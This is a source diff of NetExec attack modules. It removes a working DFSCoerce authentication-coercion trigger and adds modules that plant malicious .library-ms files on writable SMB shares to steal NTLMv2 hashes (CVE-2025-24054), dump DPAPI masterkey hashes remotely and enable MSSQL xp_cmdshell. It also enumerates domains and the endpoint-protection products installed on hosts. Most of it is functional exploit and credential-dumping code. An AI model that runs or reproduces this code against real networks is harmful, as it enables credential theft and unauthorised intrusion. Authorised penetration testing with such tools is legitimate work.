         self.context = context
@@ -26,117 +19,4 @@ class NXCModule:
             self.listener = module_options["LISTENER"]
 
     def on_login(self, context, connection):
-        trigger = TriggerAuth()
-        dce = trigger.connect(
-            username=connection.username,
-            password=connection.password,
-            domain=connection.domain,
-            lmhash=connection.lmhash,
-            nthash=connection.nthash,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
-            doKerberos=connection.kerberos,
-            dcHost=connection.kdcHost,
-            aesKey=connection.aesKey,
-        )
-
-        if dce is not None:
-            context.log.debug("Target is vulnerable to DFSCoerce")
-            trigger.NetrDfsRemoveStdRoot(dce, self.listener)
-            context.log.highlight("VULNERABLE")
-            context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
-            dce.disconnect()
-
-        else:
-            context.log.debug("Target is not vulnerable to DFSCoerce")
-
-
-class DCERPCSessionError(DCERPCException):
-    def __init__(self, error_string=None, error_code=None, packet=None):
-        DCERPCException.__init__(self, error_string, error_code, packet)
-
-    def __str__(self):
-        key = self.error_code
-        if key in system_errors.ERROR_MESSAGES:
-            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
-            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
-            return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
-        else:
-            return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
-
-
-################################################################################
-# RPC CALLS
-################################################################################
-class NetrDfsRemoveStdRoot(NDRCALL):
-    opnum = 13
-    structure = (
-        ("ServerName", WSTR),
-        ("RootShare", WSTR),
-        ("ApiFlags", DWORD),
-    )
-
-
-class NetrDfsRemoveStdRootResponse(NDRCALL):
-    structure = (("ErrorCode", ULONG),)
-
-
-class NetrDfsAddRoot(NDRCALL):
-    opnum = 12
-    structure = (
-        ("ServerName", WSTR),
-        ("RootShare", WSTR),
-        ("Comment", WSTR),
-        ("ApiFlags", DWORD),
-    )
-
-
-class NetrDfsAddRootResponse(NDRCALL):
-    structure = (("ErrorCode", ULONG),)
-
-
-class TriggerAuth:
-    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
-        rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
-        if hasattr(rpctransport, "set_credentials"):
-            rpctransport.set_credentials(
-                username=username,
-                password=password,
-                domain=domain,
-                lmhash=lmhash,
-                nthash=nthash,
-                aesKey=aesKey,
-            )
-
-        if doKerberos:
-            rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
-        # if target:
-
-        rpctransport.setRemoteHost(target)
-        dce = rpctransport.get_dce_rpc()
-        nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
-        try:
-            dce.connect()
-        except Exception as e:
-            nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
-            return None
-        try:
-            dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
-        except Exception as e:
-            nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
-            return None
-        nxc_logger.debug("[+] Successfully bound!")
-        return dce
-
-    def NetrDfsRemoveStdRoot(self, dce, listener):
-        nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
-        try:
-            request = NetrDfsRemoveStdRoot()
-            request["ServerName"] = f"{listener}\x00"
-            request["RootShare"] = "test\x00"
-            request["ApiFlags"] = 1
-            if self.args.verbose:
-                nxc_logger.debug(request.dump())
-            dce.request(request)
-
-        except Exception as e:
-            nxc_logger.debug(e)
+        context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')

nxc/modules/dns-nonsecure.py

@@ -0,0 +1,68 @@
+from impacket.structure import Structure
+from nxc.parsers.ldap_results import parse_result_attributes
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """Module by @MaxToffy"""
+    name = "dns-nonsecure"
+    description = "Detects DNS zones that allow nonsecure dynamic updates"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    def on_login(self, context, connection):
+        search_bases = {
+            "domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
+            "forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
+        }
+
+        for dns_type, search_base in search_bases.items():
+            # Search for domain DNS zones
+            resp = connection.search(
+                searchFilter="(objectClass=dnsZone)",
+                attributes=["name", "dNSProperty"],
+                baseDN=search_base,
+            )
+            zones = parse_result_attributes(resp)
+
+            # Get dynamic updates configuration for each zones
+            allows_nonsecure_updates = []
+            for zone in zones:
+                for prop in zone["dNSProperty"]:
+                    dns_properties = DNS_PROPERTY(prop)
+
+                    # [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
+                    if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
+                        allows_nonsecure_updates.append(zone["name"])
+
+            if allows_nonsecure_updates:
+                context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
+                for zone in allows_nonsecure_updates:
+                    context.log.highlight(zone)
+            else:
+                context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
+
+
+# [MS-DNSP] - 2.3.2.1 - dnsProperty
+class DNS_PROPERTY(Structure):
+    structure = (
+        ("DataLength", "<L-Data"),
+        ("NameLength", "<L"),
+        ("Flag", "<L"),
+        ("Version", "<L"),
+        ("Id", "<L"),
+        ("Data", ":"),
+        ("Name", "1s"),
+    )
+
+
+# [MS-DNSP] - 2.3.2.1.1 - Property Id
+DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
+
+# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
+ZONE_UPDATE_OFF = 0x00000000
+ZONE_UPDATE_UNSECURE = 0x00000001
+ZONE_UPDATE_SECURE = 0x00000002

nxc/modules/dpapi_hash.py

@@ -0,0 +1,63 @@
+from dploot.lib.target import Target
+from dploot.triage.masterkeys import MasterkeysTriage
+from nxc.helpers.misc import CATEGORY
+from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
+
+# Based on dpapimk2john, original work by @fist0urs
+
+
+class NXCModule:
+    name = "dpapi_hash"
+    description = "Remotely dump Dpapi hash based on masterkeys"
+    supported_protocols = ["smb"]
+    category = CATEGORY.CREDENTIAL_DUMPING
+
+    def options(self, context, module_options):
+        """OUTPUTFILE       Output file to write hashes"""
+        self.outputfile = None
+        if "OUTPUTFILE" in module_options:
+            self.outputfile = module_options["OUTPUTFILE"]
+
+    def on_admin_login(self, context, connection):
+        username = connection.username
+        password = getattr(connection, "password", "")
+        nthash = getattr(connection, "nthash", "")
+
+        target = Target.create(
+            domain=connection.domain,
+            username=username,
+            password=password,
+            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+            lmhash=getattr(connection, "lmhash", ""),
+            nthash=nthash,
+            do_kerberos=connection.kerberos,
+            aesKey=connection.aesKey,
+            no_pass=True,
+            use_kcache=getattr(connection, "use_kcache", False),
+        )
+
+        conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
+        if conn is None:
+            context.log.debug("Could not upgrade connection")
+            return
+
+        try:
+            context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
+            masterkeys_triage = MasterkeysTriage(
+                target=target,
+                conn=conn,
+            )
+            context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
+            context.log.debug("Collecting user masterkeys")
+            masterkeys_triage.triage_masterkeys()
+            if self.outputfile is not None:
+                with open(self.outputfile, "a+") as fd:
+                    for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
+                        context.log.highlight(mkhash)
+                        fd.write(f"{mkhash}\n")
+            else:
+                for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
+                    context.log.highlight(mkhash)
+
+        except Exception as e:
+            context.log.debug(f"Could not get masterkeys: {e}")

nxc/modules/drop-library-ms.py

@@ -0,0 +1,90 @@
+import ntpath
+from nxc.paths import TMP_PATH
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
+    https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
+    https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
+    Module by: @XedSama
+    """
+    name = "drop-library-ms"
+    description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
+    supported_protocols = ["smb"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+        self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
+
+        self.server = None
+        self.lms_name = ""
+        self.cleanup = False
+
+        self.local_path = None
+        self.remote_path = None
+
+    def options(self, context, module_options):
+        """
+        SERVER      Attacker machine
+        NAME        File name
+        IGNORE      Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
+        CLEANUP     Cleaning option (True or False)
+        """
+        if "SERVER" not in module_options and not self.cleanup:
+            context.log.fail("SERVER option is required")
+            exit(1)
+
+        if "NAME" not in module_options:
+            context.log.fail("NAME option is required!")
+            exit(1)
+
+        if "IGNORE" in module_options:
+            self.ignore_shares = module_options["IGNORE"].split(",")
+            context.log.debug(f"Ignoring shares: {self.ignore_shares}")
+
+        if "CLEANUP" in module_options:
+            self.cleanup = bool(module_options["CLEANUP"])
+            context.log.debug(f"CLEANUP is set to {self.cleanup}")
+
+        self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
+        self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
+
+        if not self.cleanup:
+            self.server = module_options["SERVER"]
+            with open(self.local_path, "w", encoding="utf-8") as libms:
+                libms.truncate(0)
+                libms.write('<?xml version="1.0" encoding="UTF-8"?>')
+                libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
+                libms.write("<searchConnectorDescriptionList>")
+                libms.write("<searchConnectorDescription>")
+                libms.write("<simpleLocation>")
+                libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
+                libms.write("</simpleLocation>")
+                libms.write("</searchConnectorDescription>")
+                libms.write("</searchConnectorDescriptionList>")
+                libms.write("</libraryDescription>")
+
+    def on_login(self, context, connection):
+        shares = connection.shares()
+        for share in shares:
+            if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
+                context.log.success(f"Found writable share : {share['name']}")
+
+                if self.cleanup:
+                    try:
+                        connection.conn.deleteFile(share["name"], self.remote_path)
+                        context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
+                    except Exception as e:
+                        context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
+
+                else:
+                    with open(self.local_path, "rb") as libms:
+                        try:
+                            connection.conn.putFile(share["name"], self.remote_path, libms.read)
+                            context.log.success(f"Created .library-ms file on share '{share['name']}'")
+                        except Exception as e:
+                            context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")

nxc/modules/drop-sc.py

@@ -1,5 +1,6 @@
 import ntpath
 import tempfile
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -12,8 +13,7 @@ class NXCModule:
     name = "drop-sc"
     description = "Drop a searchConnector-ms file on each writable share"
     supported_protocols = ["smb"]
-    opsec_safe = False
-    multiple_hosts = True
+    category = CATEGORY.PRIVILEGE_ESCALATION
 
     def options(self, context, module_options):
         """

nxc/modules/dump-computers.py

@@ -0,0 +1,71 @@
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    name = "dump-computers"
+    description = "Dumps FQDN and OS of all computers in the domain"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def options(self, context, module_options):
+        """
+        TYPE        Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)'
+        OUTPUT      Output to file in addition to printing to console
+
+        Examples
+        --------
+        netexec ldap $DC-IP -u $username -p $password -M dump-computers
+        netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios
+        netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn
+        netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT=<location>
+        """
+        self.output_file = None
+        self.netbios_only = False
+        self.fqdn_only = False
+
+        if "OUTPUT" in module_options:
+            self.output_file = module_options["OUTPUT"]
+        if "TYPE" in module_options:
+            if module_options["TYPE"].lower() == "netbios":
+                self.netbios_only = True
+            elif module_options["TYPE"].lower() == "fqdn":
+                self.fqdn_only = True
+
+    def on_login(self, context, connection):
+        resp = connection.search(
+            searchFilter="(objectCategory=computer)",
+            attributes=["dNSHostName", "operatingSystem"]
+        )
+        resp_parsed = parse_result_attributes(resp)
+
+        answers = []
+        context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
+
+        for item in resp_parsed:
+            dns_host_name = item.get("dNSHostName")
+            operating_system = item.get("operatingSystem", "Unknown OS")
+            if not dns_host_name:
+                context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
+                continue
+
+            if self.netbios_only:
+                netbios_name = dns_host_name.split(".")[0]
+                answer = netbios_name
+            elif self.fqdn_only:
+                answer = dns_host_name
+            else:
+                answer = f"{dns_host_name} ({operating_system})"
+            answers.append(answer)
+
+        context.log.success("Found the following computers:")
+        for answer in answers:
+            context.log.highlight(answer)
+
+        if self.output_file:
+            try:
+                with open(self.output_file, "w") as f:
+                    f.write("\n".join(answers) + "\n")
+                context.log.success(f"Results saved to {self.output_file}")
+            except Exception as e:
+                context.log.error(f"Failed to write to file {self.output_file}: {e}")

nxc/modules/efsr_spray.py

@@ -0,0 +1,20 @@
+from nxc.context import Context
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    name = "efsr_spray"
+    description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
+    supported_protocols = ["smb"]
+    excluded_shares = ["SYSVOL"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def options(self, context: Context, module_options: dict[str, str]):
+        """
+        FILE_NAME      Name of the file which will be tried to create and afterwards delete
+        SHARE_NAME     If set, ONLY this share will be used
+        EXCLUDED_SHARES List of share names which will not be used, seperated by comma
+        """
+
+    def on_login(self, context: Context, connection):
+        context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"')

nxc/modules/empire_exec.py

@@ -1,6 +1,7 @@
 import sys
 import requests
 from requests import ConnectionError
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -12,8 +13,7 @@ class NXCModule:
     name = "empire_exec"
     description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
     supported_protocols = ["smb", "mssql"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.PRIVILEGE_ESCALATION
 
     def options(self, context, module_options):
         """
@@ -33,7 +33,7 @@ class NXCModule:
         obfuscate = "OBFUSCATE" in module_options
         # we can use commands instead of backslashes - this is because Linux and OSX treat them differently
         default_obfuscation = "Token,All,1"
-        obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
+        obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation)
         context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
 
         # Pull the host and port from the config file

nxc/modules/enable_cmdshell.py

@@ -0,0 +1,80 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Enables or disables xp_cmdshell in MSSQL Server.
+    Module by crosscutsaw
+    """
+
+    name = "enable_cmdshell"
+    description = "Enable or disable xp_cmdshell in MSSQL Server"
+    supported_protocols = ["mssql"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+        self.action = None
+        self.advanced_options_backup = None  # Stores original value of 'show advanced options'
+
+    def options(self, context, module_options):
+        """
+        ACTION      enable or disable xp_cmdshell
+
+        Examples
+        --------
+        netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable
+        netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable
+        """
+        if "ACTION" in module_options:
+            self.action = module_options["ACTION"].lower()
+        else:
+            context.log.fail("Missing required option: ACTION (enable/disable)")
+            exit(1)
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+
+        if self.action == "enable":
+            self.toggle_xp_cmdshell(enable=True)
+        elif self.action == "disable":
+            self.toggle_xp_cmdshell(enable=False)
+        else:
+            self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.")
+
+    def backup_show_advanced_options(self):
+        """Backs up the current state of 'show advanced options'."""
+        res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
+        if res:
+            self.advanced_options_backup = int(res[0]["value"])  # Convert to integer
+
+    def restore_show_advanced_options(self):
+        """Restores the original state of 'show advanced options' if needed."""
+        if self.advanced_options_backup is not None and self.advanced_options_backup == 0:
+            self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;")
+
+    def toggle_xp_cmdshell(self, enable: bool):
+        """Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
+        state = "1" if enable else "0"
+        action_text = "enabled" if enable else "disabled"
+
+        # Backup 'show advanced options' state
+        self.backup_show_advanced_options()
+
+        # Enable 'show advanced options' if it was disabled
+        self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;")
+
+        try:
+            # Enable or disable xp_cmdshell
+            self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
+            if self.mssql_conn.lastError:
+                self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
+            else:
+                self.context.log.success(f"xp_cmdshell successfully {action_text}.")
+        except Exception as e:
+            self.context.log.fail(f"Failed to execute command: {e}")
+
+        # Restore 'show advanced options' to its original state if needed
+        self.restore_show_advanced_options()

nxc/modules/entra-id.py

@@ -0,0 +1,83 @@
+
+import re
+
+from termcolor import colored
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+from nxc.config import host_info_colors
+
+
+class NXCModule:
+    """Module by @NeffIsBack"""
+
+    name = "entra-id"
+    description = "Find the Entra ID sync server"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+
+    def options(self, context, module_options):
+        """No options available."""
+
+    def on_login(self, context, connection):
+        self.context = context
+
+        # For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account.
+        msol_parsed = parse_result_attributes(connection.search(
+            searchFilter="(sAMAccountName=MSOL_*)",
+            attributes=["sAMAccountName", "cn", "description"],
+        ))
+        self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}")
+        adsync_parsed = parse_result_attributes(connection.search(
+            searchFilter="(sAMAccountName=ADSyncMSA*)",
+            attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"],
+        ))
+        self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}")
+
+        hosts = []
+        for acc in msol_parsed:
+            host = re.search(r"computer (?P<host>.*) configured", acc["description"])
+            if host:
+                hostname = host.group("host")
+                # Try to get the dNSHostName for the host, if not use the NetBIOS name from the description
+                resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"]))
+                ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname)
+
+                hosts.append({
+                    "hostname": hostname,
+                    "ip": ip,
+                    "msol_account": acc["sAMAccountName"],
+                })
+
+        for adsync in adsync_parsed:
+            # The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account
+            identifier = str(adsync["cn"]).removeprefix("ADSyncMSA")
+            msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None)
+            self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}")
+
+            # Get the computer object for the ADSyncMSA service account
+            computer = parse_result_attributes(connection.search(
+                searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})",
+                attributes=["dNSHostName", "cn", "sAMAccountName"],
+            ))[0]
+
+            # If we already found a host with its MSOL account, extend that info, otherwise create a new host entry
+            host = next((x for x in hosts if x["hostname"] == computer["cn"]), None)
+            if host and host["ip"]:   # Skip if host and IP are already set
+                self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.")
+                continue
+            elif host:                # If host exists but IP is not set, update it
+                host["ip"] = connection.resolver(computer["dNSHostName"])
+            else:                     # If host does not exist, create a new entry
+                hosts.append({
+                    "hostname": computer["cn"],
+                    "ip": connection.resolver(computer["dNSHostName"]),
+                })
+
+        if hosts:
+            self.context.log.success("Found Entra ID sync servers:")
+        for host in hosts:
+            self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', '<not found>'), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"]))

nxc/modules/enum_av.py

@@ -5,7 +5,9 @@
 
 from impacket.dcerpc.v5 import lsat, lsad, transport
 from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 import pathlib
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -17,8 +19,7 @@ class NXCModule:
     name = "enum_av"
     description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -35,7 +36,7 @@ class NXCModule:
         results = self._detect_installed_services(context, connection, target)
         self.detect_running_processes(context, connection, results)
 
-        self.dump_results(results, connection.hostname, context)
+        self.dump_results(results, context)
 
     def _get_target(self, connection):
         return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
@@ -50,7 +51,8 @@ class NXCModule:
                 password=connection.password,
                 remote_name=target,
                 do_kerberos=connection.kerberos,
-                kdcHost=connection.domain,
+                remoteHost=connection.host,
+                kdcHost=connection.kdcHost,
                 lmhash=connection.lmhash,
                 nthash=connection.nthash,
                 aesKey=connection.aesKey
@@ -58,18 +60,16 @@ class NXCModule:
 
             dce, _ = lsa.connect()
             policyHandle = lsa.open_policy(dce)
-            try:
-                for product in conf["products"]:
-                    for service in product["services"]:
+            for product in conf["products"]:
+                for service in product["services"]:
+                    try:
                         lsa.LsarLookupNames(dce, policyHandle, service["name"])
                         context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
                         results.setdefault(product["name"], {"services": []})["services"].append(service)
-            except Exception:
-                pass
-
+                    except Exception:
+                        pass
         except Exception as e:
             context.log.fail(str(e))
-
         return results
 
     def detect_running_processes(self, context, connection, results):
@@ -80,13 +80,13 @@ class NXCModule:
                 for product in conf["products"]:
                     for pipe in product["pipes"]:
                         if pathlib.PurePath(fl).match(pipe["name"]):
-                            context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
+                            context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
                             prod_results = results.setdefault(product["name"], {})
                             prod_results.setdefault("pipes", []).append(pipe)
         except Exception as e:
-            context.log.debug(str(e))
+            context.log.fail(str(e))
 
-    def dump_results(self, results, remoteName, context):
+    def dump_results(self, results, context):
         if not results:
             context.log.highlight("Found NOTHING!")
             return
@@ -119,6 +119,7 @@ class LsaLookupNames:
         password="",
         remote_name="",
         do_kerberos=False,
+        remoteHost="",
         kdcHost="",
         lmhash="",
         nthash="",
@@ -133,7 +134,8 @@ class LsaLookupNames:
         self.lmhash = lmhash
         self.nthash = nthash
         self.aesKey = aesKey
-        self.dcHost = kdcHost
+        self.kdcHost = kdcHost
+        self.remoteHost = remoteHost
 
     def connect(self, string_binding=None, iface_uuid=None):
         """Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -146,6 +148,7 @@ class LsaLookupNames:
             raise NotImplementedError("String binding must be defined")
 
         rpc_transport = transport.DCERPCTransportFactory(string_binding)
+        rpc_transport.setRemoteHost(self.remoteHost)
 
         # Set timeout if defined
         if self.timeout:
@@ -157,14 +160,13 @@ class LsaLookupNames:
             rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
 
         if self.doKerberos:
-            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
+            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
 
         # Gets the DCE RPC object
         dce = rpc_transport.get_dce_rpc()
 
-        # Set the authentication level
-        if self.authn_level:
-            dce.set_auth_level(self.authn_level)
+        if self.doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
 
         # Connect
         dce.connect()
@@ -242,6 +244,14 @@ conf = {
             "services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
             "pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
         },
+        {
+            "name": "Cortex",
+            "services": [
+                {"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
+                {"name": "cyserver", "description": " Cortex XDR"}
+            ],
+            "pipes": []
+        },
         {
             "name": "Cybereason",
             "services": [
@@ -254,6 +264,17 @@ conf = {
                 {"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
             ]
         },
+        {
+            "name": "Check Point Endpoint Security",
+            "services": [
+                {"name": "CPDA", "description": "Check Point Endpoint Agent"},
+                {"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
+                {"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
+                {"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
+
+            ],
+            "pipes": []
+        },
         {
             "name": "ESET",
             "services": [
@@ -261,10 +282,31 @@ conf = {
                 {"name": "epfw", "description": "ESET"},
                 {"name": "epfwlwf", "description": "ESET"},
                 {"name": "epfwwfp", "description": "ESET"},
-                {"name": "EraAgentSvc", "description": "ESET"},
+                {"name": "EraAgentSvc", "description": "ESET Management Agent service"},
+                {"name": "ERAAgent", "description": "ESET Management Agent service"},
+                {"name": "efwd", "description": "ESET Communication Forwarding Service"},
+                {"name": "ehttpsrv", "description": "ESET HTTP Server"},
             ],
             "pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
         },
+        {
+            "name": "FortiClient",
+            "services": [
+                {"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
+                {"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
+            ],
+            "pipes": [
+                {"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
+                {"name": "FC_*", "processes": ["FortiTray.exe"]}
+            ]
+        },
+        {
+            "name": "FortiEDR",
+            "services": [
+                {"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
+            ],
+            "pipes": []
+        },
         {
             "name": "G DATA Security Client",
             "services": [
@@ -276,6 +318,25 @@ conf = {
                 {"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
             ]
         },
+        {
+        "name": "Ivanti Security",
+            "services": [
+                {"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
+                {"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
+            ],
+            "pipes": []
+        },
+        {
+            "name": "Kaseya Agent Endpoint",
+            "services": [
+                {"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
+                {"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
+            ],
+            "pipes": [
+                {"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
+                {"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
+            ]
+        },
         {
             "name": "Kaspersky Security for Windows Server",
             "services": [
@@ -288,6 +349,18 @@ conf = {
                 {"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
             ]
         },
+        {
+            "name": "Malwarebytes",
+            "services": [
+                {"name": "MBAMService", "description": "Malwarebytes Service"},
+                {"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
+            ],
+            "pipes": [
+                {"name": "MBLG", "processes": ["MBAMService.exe"]},
+                {"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
+                {"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
+            ]
+        },
         {
             "name": "Panda Adaptive Defense 360",
             "services": [
@@ -322,6 +395,11 @@ conf = {
             ],
             "pipes": []
         },
+        {
+            "name": "Rapid7",
+            "services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
+            "pipes": []
+        },
         {
             "name": "Sophos Intercept X",
             "services": [
@@ -342,6 +420,27 @@ conf = {
                 {"name": "sophoslivequery_*", "processes": [""]}
             ]
         },
+        {
+            "name": "Trellix Endpoint Detection and Response (EDR)",
+            "services": [
